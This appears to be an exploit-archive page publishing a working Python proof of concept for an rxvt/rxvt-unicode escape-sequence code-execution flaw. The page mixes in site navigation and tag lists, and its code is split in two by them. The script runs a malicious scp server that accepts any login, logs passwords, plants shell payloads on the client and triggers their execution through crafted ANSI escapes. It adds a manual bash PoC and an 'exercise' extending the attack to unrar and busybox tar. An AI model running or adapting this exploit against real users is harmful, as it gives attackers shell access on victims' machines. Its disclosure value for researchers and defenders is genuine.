

rxvt 2.7.0 / rxvt-unicode 9.22 Code Execution

Authored by def

Posted May 18, 2021

rxvt version 2.7.0 and rxvt-unicode version 9.22 incorrectly handles ANSI escape sequences allowing for arbitrary code execution.

tags | exploit, arbitrary, code execution

SHA-256|53d147513ee561cb82a3680a3f61c78345344512f153fa4c238018b7c6a94c95Download | Favorite | View

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

```
#!/usr/bin/env python
# Title: rxvt (remote) code execution over scp with $SHELL=/bin/bash (0day)
# Version: rxvt 2.7.10, rxvt-unicode 9.22
# Author: def <def@huumeet.info>
# Date: 2021-05-16
# CVE: N/A
# -----
# (U)RXVT VULNERABILITY
#
# In rxvt-based terminals, ANSI escape sequence ESC G Q (\eGQ, \033GQ, \x1bGQ)
# queries the availability of graphics and the response is received from stdin.
# However, rxvt responds to the query with a newline-terminated message, which
# is retarded and exposes goatse-wide gaping security holes in many popular CLI
# programs when executed inside an rxvt terminal window.
#
# [def@arch ~]$ printf '\eGQ'
# ^[GQ
# [def@arch ~]$ 0
# bash: 0: command not found
#
# The latter command (i.e., 0) executes automatically without user interaction.
# The contents of the second command can be somewhat controlled by chaining the
# printf message with other escape sequences. In particular, a VT52 mode escape
# sequence \x1b prepends a letter Z and triggers bash's tab completion, allowing
# the construction of relative paths and, therefore, code execution in the form
# of running (planted) files from subdirectories in the current directory.
#
# (RXVT (+BASH) CODE EXECUTION PROOF-OF-CONCEPT -----
#
# % mkdir -p ZZZ && echo 'uname -a; id; date; sh -l' >ZZZ/0 && chmod +x ZZZ/0
# % urxvt -e bash
#
# [def@arch ~]$ printf '\e[721\eZ\e<\eGQ'
# ^[[72~GQ
# [def@arch ~]$ ZZZ/0
# Linux 5.11.1-arch-1 #1 SMP PREEMPT Tue, 23 Feb 2021 14:05:30 x86_64 GNU/Linux
# uid=1000(def) gid=1001(def) groups=1001(def),43(tor),998(wheel),999(adm)
# Sun Apr 18 04:25:22 AM EEST 2021
# sh-5.1$
#
# FIX -----
#
# Don't use rxvt or any of its derivatives. Stay the fuck away from xterm also.
#
# st(1) is a viable solution if you ever plan to 'cat /var/log/access.log' or
# otherwise handle untrusted data from questionable sources.
# -----
import logging
import paramiko
import socket
import threading
logging.basicConfig(level=logging.INFO)

'''
This script implements a scp server that exploits insecure ANSI escape sequence
handling in client's (u)rxvt terminal (and bash shell). A recursive (-r) copy
into the current directory leads to code execution. For example:

$ scp -r -P2222 user@localhost:/backup/or/whatever/.

The above command transfers payload files ZZZ/0, ZZZ/1 and ZZZ/20 to the client
and executes one of them (the executed payload depends on the rxvt version).
'''

bind = ('localhost', 2222)
payload = '#!/bin/sh\nuname -a; id; date; sh -l\n'

class ScpExploitServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def get_allowed_auths(self, username):
        return "password"

    def check_auth_none(self, username):
        logging.info('Authenticating as %s', username)
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_password(self, username, password):
        logging.info('Authenticating with %s:%s', username, password)
        return paramiko.AUTH_SUCCESSFUL

    def check_channel_request(self, kind, chanid):
        logging.info('Opening %s channel %d', kind, chanid)
        if kind != "session":
            return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
        return paramiko.OPEN_SUCCEEDED

    def check_channel_exec_request(self, channel, command):
        chanid, command = channel.get_id(), command.decode('ascii')
        logging.info('Approving channel %d exec request: %s', chanid, command)
        parts = command.split()
        assert len(parts) > 2 and parts[0] == 'scp' and '-g' in parts
        threading.Thread(target=self.exploit, args=[channel]).start()
        return True

    def exploit(self, channel):
        def wait():
            assert channel.recv(4096) == b'\x00'
        def send():
            channel.sendall(b'\x00')
        fdir, fname0, fname1, fname2 = 'ZZZ', '0', '1', '20'
        wait()

        # (1) Create subdirectory './ZZZ/'
        logging.info('Enter "%s" (channel %d)', fdir, channel.get_id())
        command = '00755 0 (1)\n'.format(fdir).encode('ascii')
        channel.sendall(command)
        wait()

        # (2) Save the payload as './ZZZ/0', './ZZZ/1' and './ZZZ/20'
        logging.info('Send file "%s" (channel %d)', fname0, channel.get_id())
        command = 'C00755 {} (1)\n'.format(len(payload), fname0).encode('ascii')
        channel.sendall(command)
        wait()
        channel.sendall(payload)
        send()
        wait()
        channel.sendall_stderr("\x1b[1A".encode('ascii'))

        logging.info('Send file "%s" (channel %d)', fname1, channel.get_id())
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nuf1security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Archives

December 2022
November 2022

Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

```
command = 'C0755 {} {}\\n'.format(len(payload), fname1).encode('ascii')
channel.sendall(command)
wait()
channel.sendall(payload)
send()
wait()
#channel.sendall_stderr("\\x1b[1A".encode('ascii'))

logging.info('Send file "%s" (channel %d)', fname2, channel.get_id())
command = 'C0755 {} {}\\n'.format(len(payload), fname2).encode('ascii')
channel.sendall(command)
wait()
channel.sendall(payload)
send()
wait()

# (3) Run the payload with ANSI escapes sequences (in {u}rxvt + bash)
channel.sendall_stderr("\033[721\033[033<\033GQ".encode('ascii'))
channel.sendall_stderr("\x1b[1A".encode('ascii'))
channel.close()

if __name__ == '__main__':
    logging.info('Creating a temporary RSA host key ...')
    host_key = paramiko.rsakey.RSAKey.generate(1024)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(bind)
    sock.listen(0)
    logging.info('Listening at %s:%d ...', bind[0], bind[1])
    while True:
        try:
            client, addr = sock.accept()
            logging.info('Received connection from %s:%s', *addr)
            transport = paramiko.Transport(client)
            transport.add_server_key(host_key)
            transport.start_server(server=ScpExploitServer())
        except Exception as ex:
            logging.error('Connection closed: %s', ex)
        except KeyboardInterrupt:
            logging.info('Stopping server')
            break

#-----
# EXERCISE FOR THE READER
#
# Achieve code execution in 'unrar x foo.rar' / 'busybox tar -xvf bar.tar' with
# an archive containing payload(s) and a trigger file named "\e[721\e2\e<\eGQ".
#
#-----

---
PS Note: Update added 2021/05/21:

Minor clarifications and additional details for the post.

First and foremost, this vulnerability is not technically a zero-day for rxvt-unicode since the bug has been independently discovered & publicly discussed at oss-security at least in 2017:

https://www.openwall.com/lists/oss-security/2017/05/01/20

Upstream patched the vulnerability silently back in 2017. According to rxvt-unicode commit messages and changelog entries, the vulnerability was considered to have minor "security implications" explaining why it never was considered critical enough to backport to old Linux distros. Moreover, the first patched version is rxvt-unicode 9.25 (2021-05-14) released barely a couple of weeks ago. Therefore, most Linux distros still ship "unpatched" rxvt-unicode 9.22 (2016-05-14). Yes, 9.23 & 9.24 version numbers do not exist because they were skipped in the upstream.

Nonetheless the exploit remains 0day (i.e., no upstream patch available) for at least the following rxvt forks and derivatives.

- rxvt 2.7.10 (the original rxvt terminal)
- mrxvt 0.5.4 (unmaintained rxvt terminal with tabs)
- sterm 1.0.1 (random rxvt-based terminal from Debbie "jessie" repos)
- eterm 0.9.7 (Enlightenment)

Finally, the vulnerability can be exploited in any context in which the attacker can plant payload scripts in a subdirectory of CWD and trigger code execution by writing (unescaped) ANSI escape sequences to stdout or stderr. Suitable target programs besides 'scp' include popular CLI tools like 'unrar' and 'busybox tar' as demonstrated in the PoCs here:

https://humeet.info/~def/rxvt0day/

Note that GNU tar is not exploitable due to properly escaped filenames.

- def
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed